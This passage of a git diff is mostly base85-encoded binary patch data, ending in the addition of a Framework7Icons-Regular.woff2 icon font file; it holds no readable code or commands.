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 literal 0 HcmV?d00001 diff --git a/fonts/Framework7Icons-Regular.woff2 b/fonts/Framework7Icons-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..298e7460286d740be756d3d9dd705930c2733aeb GIT binary patch literal 20520 zcmV(}K+wN;Pew8T0RR9108l6Z5C8xG0LYjC08hmL0RR9100000000000000000000 z0000#Mn+Uk92zhiHXN}u24Db#DhLD-2nvF!D1qNn3xrw#0X7081BosKAO(dK2by&o zPM{@hn+El62O!$5QxF`9FlDh}6apIu5CZygvj6{>Kt;y7a?@`|&})biESRmtG@*2v zz00)vP`JsJdqI!;E`Ok4z)-*dTm)FN-B&nRA3Vb5btua7{PZ849<^FWN2l+I8ZuLx zh`Rl|3nl(&JH+d8W&%m~kKgr2^gqz-dJ|Ti6n5Gcw>zEm{POK9b@5F`SNjLvp z0wK9$+$DDjgdN5d5)xzxm`TD;fCP}R0z^cCFeHGZpn%|DDHhZ!;KtFGS`=`7oGqc> zG5EG zl2LF-GqNLx$Dx6%yJuI)-e})WlB(10^avm}M@PGc?CAe$YX7(FUDfzufxz*QS}iaP zn3D`+Lu_xH`2C;NJAbjQK7ZHRR&@z%4@n$&U|>MFf1YB-+*L7D@(_PnG-`}6hZ#qY{fi6!-24VgQ_Ya}K$h|O| zd-KTAO6Cz-6@IfDv018oDKrV{B)TaiiaAA-2#>M|hl$IKUg_v)7)vNSYesTnYn@Wc zmkQt>^DaSwPv4jQ@;^@q!M3(lalNi6fw#@)_--Wc4ZhdCMbcD4`UpXSh}bozG1uX! ze)`+`e{(TpHC03bwQ<;-y?`^Ib%8Q=Kny$5HRAxFhxX`E`nc9*sgK64!|D@j28AYl`)jA@%nk}o zNiB@9%ptdYj6*MG$C8+dC0L8Aa4i%j3knKINU1IkP8xtcRPZ*u5EJ>fmyJCwEr8aS zWB-0P7b933lxYZu$JUD#WvFa0R?mz1NIjSX+$VI2=pb&XAQAFn9-@F^#=iPeej;!_ zCjm281P_-MqchL*;t*YKtk$I*7%3GU)LQZF>6#c|npO6>h^(yo4_a5GRR{(j=GEkhNrh93dA;CV5SMGdyEwf=n8dpDD>Gp*0JyfG}$iR2D1F zyLJ?giop=Qvjtf-Ww?D%e*tGzW8oo9hXA0L0h);e{UlliqOLZAlE!%1*xw(vDg!>+ z)VLxjc(F6RI3E?fEsBP|nC`5}28RYY-cd*>vmwzoz(LuBguzC5+U4dXKg;z{0kqdt$SwHlezcF4ZJ>?yKag;2V-g z=$td1-f!E&v*JwfYB;N|8P+LR2a9i7mKMXTvbU~LEtIAjDAvDY7B53Lv+Qui`$W_* ziZ!qlmtzNR$AdVIXJG(K?7{~8#oo*TYZ1mnzZam*aiS~GUC?Ib@wC3F?a!!I*NZ{p z5k1RV5c}=^u6H|x-cd|&)(b&RH+obyh{W$E?ArEujUsyVAm#evLDIo=`aBCxl@G)b z)CaAkE~wJSDTtuTE@~KYD95gWEk?vi-R6d3IW!zY{EVPVx|v~{3!eL*9g{JNRZxcp zT#0QkhCQmF83-s%LXZO5_+q0eN5v>Itp(&bMvN!W<;6I(*UX@=vC~N1I%RE-ok)6( zT4@^*jnhjz>#T5=l?V6%3d( zyn5r4TaGVpR05}n(i-SuglU%8V3#8{lOVw1muDJR1!_8Jtk{i2ZtR-*xHdj3mpbcWM9RDjl?=kK>k)xZerT=F?HX2&XM!1cHXPvSLvO@LTQ zBFRtENiv+^6o?tdtAJ+EGSLDe_TtA`*p_wWWT>>0h*{c8gex5;T6TvB zg%&Trp8zkn;l~yR9Ym|_7WCe|u&tOwb=19hrp9s-!k1SmT)czNbeoCSzVqMJu>5Ja+?p6?hx<`X#Ijh5YjGGa;&VcXpX4W% zh@Lc%4l+bW$whL5JSK19H=6(p*I-6h%NI2YN35(p>0eeJdN1^7_e{L0Z!EBnV5ug} z-=TOj0LzJ*aic9yoiqKx%t1#w+$qd_h@TXt1&&4ero#CmzsP3m|1epc`cF*-zfy*; z2sU0B6QkYh>A=`spaz7(Eu6A--x)l>PoZvphXRZpIP`&G1yfSWZ1ewDaZ3M)R?L^L zqy0&;J+2q*RBWzT`fKy&qKB>%WGb*i=04(a`FkAX<m+a; zmxuX(meaC4e96eYZZp;!m=6f3M6io$WRL~+xZ-tyW{e9IwN@wt_f_U` zte4P_xHpN5)Hiq3d^$uJOe99gO}KX$RWPa?V*xN6eAOXBAc^uN5T6O>Skgd*IEMVd ziyyTha2!fDb>5N|wvJxo^@+e1SWca@l<&u)|04NnU`olL%gC@QC%`6L06d$B0BW;K z0|X^7Lh`y;Q9Of_fCa$vs0V;jFX^`oeV9+~!2E0@{AhdUDph)xXa<9*rv(qiU}-&t zVzdfyz&q3dr_4MJc*`0r+emnoQy3NTlN~iGZ&()j6wy$heV3-w;=+r=XX6XTH&3v{ z1XO9{o;3bq<5Dpfi0S?6yWzX~%<-8;x4+&t-F5|pNA<|TN0cGCM})x+%=-+T$a1>> zFGu$No8Vkfri>P=&F=Wcl>hbPf*~y&pOBc83|oa#Iy7NSWFL#EUQ)|TOL?=tjC}L$ za)7)vP4G=Nj~~_)kRiBA;zBEttcn2wf}|^w`$4>)%RDcoGRXi(O^uHO7N0V56r#mv zSQB3ol>m&z1AWSqQ66+jqM{<3;g=!`e~380q+sF3$L1&S((1&f*qhlEMy zL9q&co67>A3Li2D$Gzl@K7uYuGD`XN>Jd;{B8VIq zehnmSn)r_`VR5WURIr0QN5bjCurOEOEqO}46yVO-ep9a=?*x%(ApjU>_6OWm0+Dd4 z@KvlBA89m%=(J~MVgvMg%yglFF3ugZsRjj;Lp_mc87jf8bZ(_gO_qdw62;7WOqyA- z_Ec5RdUgqId^}6CFIY1|>D>{}eI#YwS6d8<}| zlSix}rUCb6Ral}90|IY3wQm+5TBci-rIJj_qw+ zec73Lk4Gx>aCC;Z!)yN9>OszQ>O7g^GwB;Wjb*HApVA2z6{(C9rQ$MUu?))af6FHQQzx$D z%c!_Xy+U|9k9b8@w5mFpu??KawQAp+fER0s;gLJ=abV|~pp;CiBipO2FL`JH(tTK^ zx}b3^08997(sqB`Hm0^r;MD}gLh30Iy+oVn#D`=2{U{!s?FdP1cNjRO>93Z*@`JD^ z`-Oi5!$M#7!nLpovQ_8=ZLiRW{zDwv92apoL%vI5oFG9@;!WfSIP{?JlW0Q~hXL}# zQMwy8(HF=!z(mXpI7Em9Aj|bZmB$N*0${B|q6QY>(H>3mXt-BKhmn7OPy|?yWISFd z7OCT3ohf&=%W zV5PaJ57(f`!j*tZ6%R*~D15^s>L4G53N{Kg(ZR1FRVsKfyOV8YoCRUil+1z*IpB$1 z=xm{KV2IdD-K?uCF|C;=59_!Fmf|SjQQ`&;lZvV}GL}v|U~zllK68v>HCqix z)U17uY>0$kN$?ppj=5MBMHFW3?7hmD;UjteQAht~Ow zaqZ8ncDY*Fk9wQ%chNAF~-DQ5}zCiQN*L8JsjS+ z!(r!uswy2dop18tw@sihg4)>TxIy9}vQV4mTw-XHs-XRSM9o=IF`^VzsEQ))@=N^4 z(##gMOjV;a@_N-K-z9NLvz5{P;+VvXEyiF3Rm7t@0c0pG7FEV~H=HGg(T%yucUBV& zk*ND^tLH}J>H2de%DHQWb}Y#j`qoD3K(mU|u0~PJRUjEgxq$a0-&5im81;aje2*9f z2EP$}czq1n+bVPfLAkz#K%VI7S!AgD_nKa? zCvO+-26w_?Uk?QE za9%kUvDQt(3pTi(_r-u&eOG>q86fd4qGKP=b2OaC!BLb!bR4P+U5vp~&=mGfSLy~a zm=E}b>2Ao_3Kv_ux1qm~?#ekqcX{q4%?DcS440I>weCfiD8vT*5y`QkIthNy4W z7HRnl5EgJVHkyr6$x}mF+bU*K`cX3Xx4h0*CHln;%Kiyy?Z2t*j-M{fj>aR&KR34d zp36;wts7|8vxd?T9El^=Qhjxm%OdNM-paO2vG;b zo&XWwEu40{ijtERgOnG0>@W6XwDxfWxv>n&{u@YEDlF`BV>5N@bMBG}rqQ!AwLgt+ zM12C=j{*MQK#+rGQj#DhLpipTx{4_8AJ2I%CY9h2X`VP>FFEIt7IknU|R}_ezvT>>cIsEota>|Hd$+l;_-^< z46*Y8IeXogSlE#N7Xk>kSRRfD(HW%yUL&hA#c#TN501^25~-g1tvvXUzyT7U{Tw; z{+=3VR^`aO=Sb$9vpMPLj~9K|*8ca@c(5{$C&qDh+y#kI^bux#)p%4Ak@IIdXJ}5u z2q1s*IQA#g$UrWS^`YY!HJcbrXa@Q0xpH!orQR6vd(whQQ?Co3lVr@}N$r8SW>vtp zX#sZT>sCg>1F$=fm{r>sHG|aRAb=jRs#27;R=^8&kRHx~968bkmuq`g;~P7#O1_Ar0f zC$t}v(TPzCPTnbXhD2Ve)0?zYPbVv9sZ=>(cY<85lC)~wM51A5TZMeGX2pu9wq1(T zrp&U<7_XniSvAGmVJ4O|1;&`zKQBd|@ zV-IGffw~WLOa6CcnS3cxzDRcnXxMdgq+DEMOFhzMscb8(tG@xYr^z-yOvC5JnO7Rby203n}0M*a+k zlm6&{OxVR3{Ax|6KX^3}*HzTIC*dxr8F;pIuE@u>m_H^8MQSe zAZAWs5DFAwl#MZs1hN_&fi$7`ozkJg=;f+M_$pBV;r*3u3x=mLR1=3-Q6o#}yIWJ&ogXI}L0?sVkoKgXf^p z@#M4UOtZ}tbI|=R@@MlL)mm{e!{;;8&z}f~ zZ^sGn9?1ys(eFqUpl}#WU?fCLa(qZ4C+aEl_Qo*?fFVcw43Pf)#7vSFh+aMZgK=j2 z#j5$-=ex)!Fp^`gSF#0l91h@%&Ziy(xkx>-jvmL96U5*cAaGKSLCljBPzL$;PU3NJ zgv}H?{=~{gaR#pq;lXz(4@6VMn&zlNgg-OT%k}A8v=t*xRIm(q1u*6$%9afcrv>%! zCp`n(G9}2fi*04Gvu4_twAH9i{n+zIX^0qZ2YH?OAgTNj*v0lT;>C0myc@P(mSB+N z2V}p-b{fVp)QyOAv>?x9WNkNNoEj%owndYYM5Py!xbL+~%CKrPx^z^)Hwv7{)TEe( zt0sF7S!rATH4jkFH<{%uan;hldPCBkG3Pl%RF%L0`lAMoGFHW z?0>6@=KR371(GVzCD3tg^cK@46)V!&??~KlGz>rD^`tT89T6B|?hT?SLi-Imo`{Zk z7~xQ*(rvUguI{D6J^3PJOxVZD*DTqMh^kGhu~JMbwm`)eB}J8Kz&XBNZ;QrftOyW^ z%8A1}?JZXX`&5*B8VtiA3mtb32oE!m)+_=ISoenSy-1;WZGpIQHGnNHsi01XoQe+L zmDI)lcw{(tmSwJRLkYZ>!w-#4;<7L*s#FzAAVbhhG9;8`h|=PB4c8@g zXoXKlG^PCMvyRr3obgSXCv&!;WCrTF8vyDgZ}$Hi4Dl&Hjq7rYF+WDV=dN=N`Jun| zXGwu!k-E7XMgTYG_r13Uv)j*Z&CwpD)8Jh-V`dBO zLzh@52d=DM^gV8-2J5-X##(@r+$)jt$4iJ@|5A5JD)fVEaDBc%7d3TqIXTzyMSt?$ zxoJpvw!WR|nZuwUzjCWb#Pc`k;r#^o#0&0vt8mCU30Fow=?T*z(MfKId489^7*O9{ zl6o3k0_PG_d6roU(>YXKO)a%2b~&Bl`Q=zTIS*EVn{en*IG|6UY845LoW;YPIQwwO zcteSEU-j?D?=O4q0g!QZS_{{|NTP77IQZV*>&Ux3|Go@S+S5z*2`Mn0=039u}dfWs+VzC$bHJXx!KUUifg9MPu3m@jT0v7^DpWKUp4K)R6wS!G1i4|Grx z447-+gaDjC2`&aiE|5qJSV6(kEF6m5xj7w>I?Y~Av-|&Qh<1}WCSM^!=Ww_Mzz}pn zLQ&1W7$QGSt#_t5=OI4#ihVDfwZ2bms!+wG z50Fm_G~8TeqW(%fOx5=&-HbOu-hNia4yOC`D-r=OWvN+P2!E)W3UrgF8f47zJC{y$|AahM8|D=NJVHEwN0l1(@3GNZV17xUp)|(21&MJDZm9b5 z`ALcZfGI2!lc2gu;zxiDJO$&ZwUQ0Ne{AhjS|P-pAayVN*$pH9xd&sl|5mvLWd166 zx%h8jKfvbK7q|QG!9tKx+LwFu=40ajgMlY17H_6cWDnC}zK)`kXFDksiN?L`U{>+= z=U@IRt`(lQ;zB?BbUl|A1p1FGt!dT8N~cx_Un_-HUAuBZKH>9OIkpXH6bDur$?CK@)9ni($KLg@Mp)r zp1Rgw3ezAznyaQu-_3D>Vyjo>)oE&=X&0U3nMn@QINP#g1=Z@{vyLfm{26UZ#-_>K zlcvl(kiVGusD9?6X+qJbzv3Fm6ks}syp0H2lZOPOkiVg;;S5O29`!u(Qx?!JJ0?jp zFlh-`Ya#PyWF~Hd{^Eb5Lv62bAhR<+=2bzDy|BZ@FKDUQW(Hn0KchLE%M9MG^G^Rv z&cu|%|K$$Ta(btie}-J%9qS!(vn)bXuPrhI4i*OF3FGdb3?ShkJr8J?V(cX_Edxbk z*oU#ZMejZeB;2=s4@nfylUF(qWxlq1e-%85uy7#@#7n`taISPMCyn6$V z;-1Gc{qiN<$f>(c4j`Vf@d`}fRWS;z`TJp{=N=BkUPD$#45`~E47(0;lTw$e0r_oy zL^fHM`mz^`S!9z;Wf%++RtiE(U%%esYciP#bR2V({}O5P5<4~mTc{=MiU}Rt9Dd4k zxgl&lrMDQv<%FkVlMzo>@}?pD+R+l25mKQ! zqcZm(OwYd)dh9+^_7Vhhf}&Na&Ps^{y2P6O~!{UYaVdwX?3)3x5- zSBH{F#!9wBnePh03Y*;d%DAWix(iz10-f@3a^Sc-IC&g|9EgRE4)hF9foy(wm^?l* zS|N)JpkPK%NvcvNPED)&F9#s0;NE(0-~HCET`;Ui;9ZCCG5AYUH_Wl*Cl;I+FZBBA zO^9Rh1O^v&z&LH26{QQlT`T_%-U5Fo=Oz8@#&>qx?;@7?hJ-0X?Bz6tuOBJ44suk@ ziFI;^$l(-O`QO}tq5ZwCb0Bx8z}Pc+taUa{dXkm+hXgR{qIUsJ?-lP=xE4lW7}nYw zfViesrZzBI5Lk~OEij^oH)dB-+N|3sKD>zANnNCNIBWtJ!GX>$^UbK^QTy&Ci}xI9 zXgI=}mFU2$WyQsqQ~Gi|CYw|xkVL1H$Cb)NX#xqUDmw;Wp6=ANBrPd&hkd%^g5;0c z%B$DJ;tT5w(my6UF0fDEvGKZ^1h8K*g8{?dy~Ere{+XK#c4B&0{p8Nwn)x($a?P5L zZuu)En6>n~ni_kM0JD#S(i1<>bC4$vYzJ^P!^YZO8i&{UjjwJVZ(fh9$IC9Nht(O8 z!?NK!BL-Z*i#Yb`=Z9ad&G}Ug<$a?yTVCI8&{ZW|c7Fy175mQDtW8~8rOO5jLVpFM zlGQHvqv2!tu7&u5i*Hk{iS!M_cH%x|vC+a`93M-+xn-7iF?|;-K3vznY+q(qX{OuX z>5m<&Hk}7}I&(3zbQ7_dXgok1SWF{x%ZH4>-PtyS2oLF2S$oP@p8~!3+>dW{1D8pw zNL)WAZO;zv3p~%CP!nKr?}6S4A1aOM$0hNEq{{=kw;#EDufR_%nWxIS8{r{?**4uU zvS-sn(UWDFSw@!8gR^Fh5wS70_9|<34UZS~35jt#1T30=aEst>VzGI~Y%VTVQ)y~L z%`13V^*D6`ouY#DM~EF0ARjX`u~`~|eRuY)oDdEtGwZobT92$ygx%29MMY{%eb+aI zng+=@^a=UMoJBrmWzp4~HLXS)#JFaS+&`b=olwFgVZx;r7fEqxaq)i$`@ZAo#95v6 z{D=VawHV|DzElt6D&6EpuS6w9gf#rHN&! zN{OctqxeTEWYLlG_^@!6#M+ktig^ zpwo)?PAdi#Bnm`!zQ#>btc1b3myVlyPp*I5K`*5D>bvXyDo2YL>6$&(i`drM;(d%# zN6>zMYcX10_gA-`F|eha-m(7i$=;}a9d(br7z1qU@|Ei!GhGH8t-nY3$^gUzV(IR? z)#IIXrEP8PfNo+XmWqpo4b*r?>$s$4wh4|T?P=(y{y_t!pPyH`=WE>#_J7hb54C&- zeGYJ5-Zif+?U%$_8lmcQVzfTOnVYHLIY-o^sVsM6CfWX~&!m60rJutO`{F2tYuMf_H2+7UJj<@TVAc-{W4L z>0Sj;*QP?G3=f;V?Jy1;Ous!F7OoUk&`y9V_snY5PzwJHaB&R5K)+~BjV<#GX2c%& zyl0rUP3k&~D(MWtI7^%*QLR)gPHi<5BPad_8Ro$hf9Zy+%~v-_ z{VAJuB$HSvOV*aIU6R5ASI4j6*8-JJ%0MsWMm{l3^mua)VFJQ@19@Z`mqugO&fED> z-r176#y|peGbR{AV4F;(3O2(-(11Jpy%RJ-$E=2}FiEITt1VQ(Rv$uBcq3_635>c$ zMX?x3y~26KICLQgaMCR^@>w)7BVw@)<>lP)k&K9DFvc@f=L36r!kW$OsW1xDQhsIR z?J6Nul`PLfFVm^(h1j$Du*49NRkS3DJR7>p*(i;xU^G@Uobgn*Zjf^XxL60FXBTKC(!N+3k!NN!H>$JTE+dW+<{YkryQ#4*)Lzw3GoeUF3}0VzSrhL zkVwId*x^cciBlQQE>sisFgUOd8&Yqj9*)8VI6s=0Ccy8YABj$`MN?+Ta46a@AApy8 